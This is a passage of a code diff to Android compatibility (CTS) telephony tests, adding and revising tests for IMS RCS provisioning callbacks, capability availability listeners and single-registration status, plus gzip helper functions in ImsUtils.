+                    MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER,
+                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE)));
+
+            mmTelManager.unregisterMmTelCapabilityCallback(callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        try {
+            mmTelManager.unregisterMmTelCapabilityCallback(callback);
+            fail("unregisterMmTelCapabilityCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+    }
+
     /**
      * We are specifically testing a race case here such that IsAvailable returns the correct
      * capability status during the callback.
@@ -1286,43 +2159,6 @@
     }
 
     @Test
-    public void testProvisioningManagerNotifyAutoConfig() throws Exception {
-        if (!ImsUtils.shouldTestImsService()) {
-            return;
-        }
-
-        // Trigger carrier config changed
-        PersistableBundle bundle = new PersistableBundle();
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
-        overrideCarrierConfig(bundle);
-
-        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
-
-        ProvisioningManager provisioningManager =
-                ProvisioningManager.createForSubscriptionId(sTestSub);
-
-        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            automan.adoptShellPermissionIdentity();
-            provisioningManager.notifyRcsAutoConfigurationReceived(
-                    TEST_AUTOCONFIG_CONTENT.getBytes(), false);
-            ImsConfigImplBase config = sServiceConnector.getCarrierService().getConfig();
-            Assert.assertNotNull(config);
-            assertEquals(TEST_AUTOCONFIG_CONTENT,
-                    config.getConfigString(ImsUtils.ITEM_NON_COMPRESSED));
-
-            provisioningManager.notifyRcsAutoConfigurationReceived(
-                    TEST_AUTOCONFIG_CONTENT.getBytes(), true);
-            assertEquals(TEST_AUTOCONFIG_CONTENT,
-                    config.getConfigString(ImsUtils.ITEM_COMPRESSED));
-        } finally {
-            automan.dropShellPermissionIdentity();
-        }
-    }
-
-    @Ignore("RCS APIs not public yet")
-    @Test
     public void testRcsCapabilityStatusCallback() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
             return;
@@ -1339,9 +2175,6 @@
         int registrationTech = ImsRegistrationImplBase.REGISTRATION_TECH_LTE;
         ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
 
-        // Wait for the framework to set the capabilities on the ImsService
-        sServiceConnector.getCarrierService().waitForLatchCountdown(
-                TestImsService.LATCH_RCS_CAP_SET);
         // Make sure we start off with none-capability
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
                 ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
@@ -1357,8 +2190,8 @@
             // Make sure we are tracking voice capability over LTE properly.
             RcsImsCapabilities availability = sServiceConnector.getCarrierService()
                     .getRcsFeature().queryCapabilityStatus();
-            assertEquals(availability.isCapable(RCS_CAP_PRESENCE),
-                    imsRcsManager.isAvailable(RCS_CAP_PRESENCE));
+            assertFalse(availability.isCapable(RCS_CAP_OPTIONS));
+            assertFalse(availability.isCapable(RCS_CAP_PRESENCE));
         } finally {
             automan.dropShellPermissionIdentity();
         }
@@ -1366,9 +2199,12 @@
         // Trigger carrier config changed
         PersistableBundle bundle = new PersistableBundle();
         bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
         overrideCarrierConfig(bundle);
 
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_RCS_CAP_SET);
+
         // The carrier config changed should trigger RcsFeature#changeEnabledCapabilities
         try {
             automan.adoptShellPermissionIdentity();
@@ -1382,49 +2218,67 @@
         }
 
         // A queue to receive capability changed
-        LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
-        ImsRcsManager.AvailabilityCallback callback = new ImsRcsManager.AvailabilityCallback() {
+        LinkedBlockingQueue<Integer> availabilityChanged = new LinkedBlockingQueue<>();
+        ImsRcsManager.OnAvailabilityChangedListener callback =
+                new ImsRcsManager.OnAvailabilityChangedListener() {
             @Override
             public void onAvailabilityChanged(
                     @RcsUceAdapter.RcsImsCapabilityFlag int capabilities) {
-                mQueue.offer(capabilities);
+                availabilityChanged.offer(capabilities);
             }
         };
 
         // Latch will count down here (we callback on the state during registration).
         try {
             automan.adoptShellPermissionIdentity();
-            imsRcsManager.registerRcsAvailabilityCallback(getContext().getMainExecutor(), callback);
+            imsRcsManager.addOnAvailabilityChangedListener(
+                    getContext().getMainExecutor(), callback);
         } finally {
             automan.dropShellPermissionIdentity();
         }
 
-        // We should not have any availabilities here, we notified the framework earlier.
-        //RcsImsCapabilities capCb = waitForResult(mQueue);
-        int capCb = waitForResult(mQueue);
-
-        // The SIP OPTIONS capability from onAvailabilityChanged should be disabled.
-        // Moreover, ImsRcsManager#isAvailable also return FALSE with SIP OPTIONS
+        // Verify the callback and the api isAvailable that the capabilities is NONE in the
+        // beginning.
+        int radioTechLTE = ImsRegistrationImplBase.REGISTRATION_TECH_LTE;
+        int capCb = waitForResult(availabilityChanged);
         assertEquals(capCb, RCS_CAP_NONE);
+        availabilityChanged.clear();
         try {
             automan.adoptShellPermissionIdentity();
-            assertFalse(imsRcsManager.isAvailable(RCS_CAP_OPTIONS));
+            assertFalse(imsRcsManager.isAvailable(RCS_CAP_OPTIONS, radioTechLTE));
+            assertFalse(imsRcsManager.isAvailable(RCS_CAP_PRESENCE, radioTechLTE));
         } finally {
             automan.dropShellPermissionIdentity();
         }
 
-        // Notify the SIP OPTIONS capability status changed
+        // Notify capabilities status change to OPTIONS
         RcsImsCapabilities optionsCap = new RcsImsCapabilities(RCS_CAP_OPTIONS);
         sServiceConnector.getCarrierService().getRcsFeature()
                 .notifyCapabilitiesStatusChanged(optionsCap);
-        capCb = waitForResult(mQueue);
 
-        // The SIP OPTIONS capability from onAvailabilityChanged should be enabled.
-        // Verify ImsRcsManager#isAvailable also return true with SIP OPTIONS
+        // Verify that the callback onAvailabilityChanged is called with OPTIONS
+        capCb = waitForResult(availabilityChanged);
         assertEquals(capCb, RCS_CAP_OPTIONS);
+        availabilityChanged.clear();
         try {
             automan.adoptShellPermissionIdentity();
-            assertTrue(imsRcsManager.isAvailable(RCS_CAP_OPTIONS));
+            assertTrue(imsRcsManager.isAvailable(RCS_CAP_OPTIONS, radioTechLTE));
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Notify capabilities status change to PRESENCE
+        RcsImsCapabilities presenceCap = new RcsImsCapabilities(RCS_CAP_PRESENCE);
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .notifyCapabilitiesStatusChanged(presenceCap);
+
+        // Verify that the callback onAvailabilityChanged is called with PRESENCE
+        capCb = waitForResult(availabilityChanged);
+        assertEquals(capCb, RCS_CAP_PRESENCE);
+        availabilityChanged.clear();
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertTrue(imsRcsManager.isAvailable(RCS_CAP_PRESENCE, radioTechLTE));
         } finally {
             automan.dropShellPermissionIdentity();
         }
@@ -1725,7 +2579,10 @@
         triggerFrameworkConnectToCarrierImsService();
 
         PersistableBundle bundle = new PersistableBundle();
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+                true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_BULK_CAPABILITY_EXCHANGE_BOOL, true);
         bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_RCS_PROVISIONING_REQUIRED_BOOL, true);
         overrideCarrierConfig(bundle);
 
@@ -1755,6 +2612,343 @@
         overrideCarrierConfig(null);
     }
 
+    @Test
+    public void testProvisioningManagerRcsProvisioningChangedCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final int errorCode = 403;
+        final String errorString = "Forbidden";
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> actionQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<RcsProvisioningCallbackParams> paramsQueue =
+                new LinkedBlockingQueue<>();
+        ProvisioningManager.RcsProvisioningCallback cb =
+                buildRcsProvisioningCallback(actionQueue, paramsQueue);
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+        ImsConfigImplBase config = sServiceConnector.getCarrierService().getConfig();
+
+        //notify rcs configuration received, wait rcs gets ready and receives notification
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.notifyRcsAutoConfigurationReceived(
+                    TEST_RCS_CONFIG.getBytes(), false);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int res = waitForIntResult(TestAcsClient.getInstance().getActionQueue());
+        assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerRcsProvisioningCallback(
+                    getContext().getMainExecutor(), cb);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        //callback is expected immediately
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        RcsProvisioningCallbackParams params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+        //verify callback when rcs configuration removed
+        config.getIImsConfig().notifyRcsAutoConfigurationRemoved();
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_RESET);
+
+        //verify callback when rcs configuration received, compressed
+        config.getIImsConfig().notifyRcsAutoConfigurationReceived(
+                ImsUtils.compressGzip(TEST_RCS_CONFIG.getBytes()), true);
+
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+        //verify callback when auto config error received
+        config.notifyAutoConfigurationErrorReceived(errorCode, errorString);
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_ERROR);
+        params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(params.mErrorCode != null && params.mErrorCode == errorCode);
+        assertTrue(errorString.equals(params.mErrorString));
+
+        //verify callback when config removed
+        config.getIImsConfig().notifyRcsAutoConfigurationRemoved();
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_RESET);
+
+        //verify callback when rcs pre-provisioning configuration received
+        TestAcsClient.getInstance().notifyPreProvisioning(TEST_RCS_PRE_CONFIG.getBytes());
+
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_PREPROV);
+        params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_PRE_CONFIG.getBytes()));
+
+        //unregister callback and verify not to receive callback any more
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.unregisterRcsProvisioningCallback(cb);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_DELETE);
+
+        config.notifyAutoConfigurationErrorReceived(errorCode, errorString);
+        res = waitForIntResult(actionQueue, 500);
+        assertEquals(res, Integer.MAX_VALUE);
+    }
+
+    @Test
+    public void testProvisioningManagerNotifyRcsAutoConfigurationReceived() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<RcsProvisioningCallbackParams> paramsQueue =
+                new LinkedBlockingQueue<>();
+        ProvisioningManager.RcsProvisioningCallback cb =
+                buildRcsProvisioningCallback(clientQueue, paramsQueue);
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+        String configStr = "<test01/>\n" + TEST_RCS_CONFIG;
+
+        //notify rcs configuration received, wait rcs gets ready and receives notification
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.notifyRcsAutoConfigurationReceived(
+                    configStr.getBytes(), false);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int res = waitForIntResult(TestAcsClient.getInstance().getActionQueue());
+        assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerRcsProvisioningCallback(
+                    getContext().getMainExecutor(), cb);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        res = waitForIntResult(clientQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        RcsProvisioningCallbackParams params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, configStr.getBytes()));
+        assertTrue(Arrays.equals(
+                configStr.getBytes(), TestAcsClient.getInstance().getConfig()));
+
+        configStr = "<test02/>\n" + TEST_RCS_CONFIG;
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.notifyRcsAutoConfigurationReceived(
+                    ImsUtils.compressGzip(configStr.getBytes()), true);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        res = waitForIntResult(clientQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, configStr.getBytes()));
+
+        res = waitForIntResult(TestAcsClient.getInstance().getActionQueue());
+        assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+        assertTrue(Arrays.equals(
+                configStr.getBytes(), TestAcsClient.getInstance().getConfig()));
+    }
+
+    @Test
+    public void testProvisioningManagerTriggerRcsReconfiguration() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
+        ProvisioningManager.RcsProvisioningCallback cb =
+                buildRcsProvisioningCallback(clientQueue, null);
+
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        //notify rcs configuration received, wait rcs gets ready and receives notification
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.notifyRcsAutoConfigurationReceived(
+                    TEST_RCS_CONFIG.getBytes(), false);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int res = waitForIntResult(TestAcsClient.getInstance().getActionQueue());
+        assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+
+        //set default rcs config
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerRcsProvisioningCallback(
+                    getContext().getMainExecutor(), cb);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        res = waitForIntResult(clientQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+
+        //test triggerRcsReconfiguration
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.triggerRcsReconfiguration();
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        res = waitForIntResult(clientQueue);
+        assertEquals(res, RCS_CONFIG_CB_RESET);
+
+        res = waitForIntResult(TestAcsClient.getInstance().getActionQueue());
+        assertEquals(res, TestAcsClient.ACTION_CONFIG_REMOVED);
+
+        res = waitForIntResult(TestAcsClient.getInstance().getActionQueue());
+        assertEquals(res, TestAcsClient.ACTION_TRIGGER_AUTO_CONFIG);
+    }
+
+    @Test
+    public void testProvisioningManagerSetRcsClientConfiguration() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        RcsClientConfiguration rcc = new RcsClientConfiguration(
+                "1.0", "UP_1.0", "Android", "RCSAndrd-1.0");
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        //notify rcs configuration received, wait rcs gets ready and receives notification
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.notifyRcsAutoConfigurationReceived(
+                    TEST_RCS_CONFIG.getBytes(), false);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int res = waitForIntResult(TestAcsClient.getInstance().getActionQueue());
+        assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.setRcsClientConfiguration(rcc);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        res = waitForIntResult(TestAcsClient.getInstance().getActionQueue());
+        assertEquals(res, TestAcsClient.ACTION_SET_RCS_CLIENT_CONFIG);
+        assertEquals(rcc, TestAcsClient.getInstance().getRcc());
+    }
+
+    @Test
+    public void testProvisioningManagerRcsVolteSingleRegistrationCapable() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        boolean isSingleRegistrationEnabledOnDevice =
+                sServiceConnector.getDeviceSingleRegistrationEnabled();
+        boolean isSingleRegistrationEnabledByCarrier =
+                sServiceConnector.getCarrierSingleRegistrationEnabled();
+
+        sSrcReceiver.waitForChanged();
+        int capability = sSrcReceiver.getCapability();
+
+        assertEquals(isSingleRegistrationEnabledOnDevice,
+                (ProvisioningManager.STATUS_DEVICE_NOT_CAPABLE & capability) == 0);
+        assertEquals(isSingleRegistrationEnabledByCarrier,
+                (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
+
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(
+                CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, false);
+        sSrcReceiver.clearQueue();
+        overrideCarrierConfig(bundle);
+        sSrcReceiver.waitForChanged();
+        capability = sSrcReceiver.getCapability();
+
+        assertEquals(false, (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
+                    (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        sSrcReceiver.clearQueue();
+        overrideCarrierConfig(bundle);
+        sSrcReceiver.waitForChanged();
+        capability = sSrcReceiver.getCapability();
+
+        assertEquals(true, (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
+                    isSingleRegistrationEnabledOnDevice);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        sSrcReceiver.clearQueue();
+        sServiceConnector.setDeviceSingleRegistrationEnabled(!isSingleRegistrationEnabledOnDevice);
+        sSrcReceiver.waitForChanged();
+        capability = sSrcReceiver.getCapability();
+
+        assertEquals(!isSingleRegistrationEnabledOnDevice,
+                (ProvisioningManager.STATUS_DEVICE_NOT_CAPABLE & capability) == 0);
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
+                    !isSingleRegistrationEnabledOnDevice);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        sServiceConnector.setDeviceSingleRegistrationEnabled(null);
+        overrideCarrierConfig(null);
+    }
+
     private void verifyIntKey(ProvisioningManager pm,
             LinkedBlockingQueue<Pair<Integer, Integer>> intQueue, int key, int value)
             throws Exception {
@@ -1822,6 +3016,44 @@
                 sTestSlot, serviceSlot);
     }
 
+    private void triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature() throws Exception {
+        // Connect to the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+
+        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createMmTelFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_MMTEL));
+        assertTrue("Did not receive MmTelFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_MMTEL_READY));
+        assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+                sServiceConnector.getCarrierService().getMmTelFeature());
+        int serviceSlot = sServiceConnector.getCarrierService().getMmTelFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated MmTelFeature",
+                sTestSlot, serviceSlot);
+
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
+        assertTrue("Did not receive RcsFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_RCS_READY));
+        // Make sure the RcsFeature was created in the test service.
+        assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+                + "called!", sServiceConnector.getCarrierService().getRcsFeature());
+        assertTrue("Did not receive RcsFeature#setCapabilityExchangeEventListener",
+                sServiceConnector.getCarrierService().waitForLatchCountdown(
+                        TestImsService.LATCH_UCE_LISTENER_SET));
+        serviceSlot = sServiceConnector.getCarrierService().getRcsFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated RcsFeature",
+                sTestSlot, serviceSlot);
+    }
+
     private void triggerFrameworkConnectToCarrierImsService() throws Exception {
         // Connect to the ImsService with the MmTel feature.
         assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
@@ -1841,6 +3073,52 @@
                 sTestSlot, serviceSlot);
     }
 
+    private ProvisioningManager.RcsProvisioningCallback buildRcsProvisioningCallback(
+            LinkedBlockingQueue<Integer> actionQueue,
+            LinkedBlockingQueue<RcsProvisioningCallbackParams> paramQueue) {
+        return new ProvisioningManager.RcsProvisioningCallback() {
+            @Override
+            public void onConfigurationChanged(byte[] configXml) {
+                actionQueue.offer(RCS_CONFIG_CB_CHANGED);
+                if (paramQueue != null) {
+                    RcsProvisioningCallbackParams params = new RcsProvisioningCallbackParams();
+                    params.mConfig = configXml;
+                    paramQueue.offer(params);
+                }
+            }
+
+            @Override
+            public void onAutoConfigurationErrorReceived(int code, String str) {
+                actionQueue.offer(RCS_CONFIG_CB_ERROR);
+                if (paramQueue != null) {
+                    RcsProvisioningCallbackParams params = new RcsProvisioningCallbackParams();
+                    params.mErrorCode = code;
+                    params.mErrorString = str;
+                    paramQueue.offer(params);
+                }
+            }
+
+            @Override
+            public void onConfigurationReset() {
+                actionQueue.offer(RCS_CONFIG_CB_RESET);
+            }
+
+            @Override
+            public void onRemoved() {
+                actionQueue.offer(RCS_CONFIG_CB_DELETE);
+            }
+
+            @Override
+            public void onPreProvisioningReceived(byte[] configXml) {
+                actionQueue.offer(RCS_CONFIG_CB_PREPROV);
+                if (paramQueue != null) {
+                    RcsProvisioningCallbackParams params = new RcsProvisioningCallbackParams();
+                    params.mConfig = configXml;
+                    paramQueue.offer(params);
+                }
+            }
+        };
+    }
     // Waiting for ImsRcsManager to become public before implementing RegistrationManager,
     // Duplicate these methods for now.
     private void verifyRegistrationState(ImsRcsManager regManager, int expectedState)
@@ -1848,7 +3126,8 @@
         LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
         assertTrue(ImsUtils.retryUntilTrue(() -> {
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(regManager,
-                    (m) -> m.getRegistrationState(getContext().getMainExecutor(), mQueue::offer));
+                    (m) -> m.getRegistrationState(getContext().getMainExecutor(), mQueue::offer),
+                    "android.permission.READ_PRECISE_PHONE_STATE");
             return waitForIntResult(mQueue) == expectedState;
         }));
     }
@@ -1860,7 +3139,8 @@
         LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(regManager,
                 (m) -> m.getRegistrationTransportType(getContext().getMainExecutor(),
-                        mQueue::offer));
+                        mQueue::offer),
+                "android.permission.READ_PRECISE_PHONE_STATE");
         assertEquals(expectedTransportType, waitForIntResult(mQueue));
     }
 
@@ -1902,13 +3182,19 @@
         return result != null ? result : Integer.MAX_VALUE;
     }
 
+    private int waitForIntResult(LinkedBlockingQueue<Integer> queue, int timeout)
+            throws Exception {
+        Integer result = queue.poll(timeout, TimeUnit.MILLISECONDS);
+        return result != null ? result : Integer.MAX_VALUE;
+    }
+
     private static void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
         CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getInstrumentation()
                 .getContext().getSystemService(CarrierConfigManager.class);
         sReceiver.clearQueue();
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
                 (m) -> m.overrideConfig(sTestSub, bundle));
-        sReceiver.waitForCarrierConfigChanged();
+        sReceiver.waitForChanged();
     }
 
     private static Context getContext() {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
index 2c09de8..180f375 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -24,13 +24,19 @@
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
+import android.telephony.ims.SipMessage;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
 
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
 import java.util.List;
 import java.util.concurrent.Callable;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
 
 public class ImsUtils {
     public static final boolean VDBG = false;
@@ -43,6 +49,10 @@
     public static final int ITEM_NON_COMPRESSED = 2000;
     // Id for compressed auto configuration xml.
     public static final int ITEM_COMPRESSED = 2001;
+    // TODO Replace with a real sip message once that logic is in.
+    public static final String TEST_TRANSACTION_ID = "z9hG4bK.TeSt";
+    public static final String TEST_CALL_ID = "testcall";
+    public static final SipMessage TEST_SIP_MESSAGE = new SipMessage("A", "B", new byte[0]);
 
     public static boolean shouldTestTelephony() {
         final PackageManager pm = InstrumentationRegistry.getInstrumentation().getContext()
@@ -58,6 +68,15 @@
         return hasTelephony && hasIms;
     }
 
+    public static boolean shouldTestImsSingleRegistration() {
+        final PackageManager pm = InstrumentationRegistry.getInstrumentation().getContext()
+                .getPackageManager();
+        boolean hasIms = pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_IMS);
+        boolean hasSingleReg = pm.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION);
+        return hasIms && hasSingleReg;
+    }
+
     public static int getPreferredActiveSubId() {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         SubscriptionManager sm = (SubscriptionManager) context.getSystemService(
@@ -150,4 +169,55 @@
         }
         return false;
     }
+
+    /**
+     * compress the gzip format data
+     * @hide
+     */
+    public static byte[] compressGzip(byte[] data) {
+        if (data == null || data.length == 0) {
+            return data;
+        }
+        byte[] out = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream(data.length);
+            GZIPOutputStream gzipCompressingStream =
+                    new GZIPOutputStream(outputStream);
+            gzipCompressingStream.write(data);
+            gzipCompressingStream.close();
+            out = outputStream.toByteArray();
+            outputStream.close();
+        } catch (IOException e) {
+        }
+        return out;
+    }
+
+    /**
+     * decompress the gzip format data
+     * @hide
+     */
+    public static byte[] decompressGzip(byte[] data) {
+        if (data == null || data.length == 0) {
+            return data;
+        }
+        byte[] out = null;
+        try {
+            ByteArrayInputStream inputStream = new ByteArrayInputStream(data);
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            GZIPInputStream gzipDecompressingStream =
+                    new GZIPInputStream(inputStream);
+            byte[] buf = new byte[1024];
+            int size = gzipDecompressingStream.read(buf);
+            while (size >= 0) {
+                outputStream.write(buf, 0, size);
+                size = gzipDecompressingStream.read(buf);
+            }
+            gzipDecompressingStream.close();
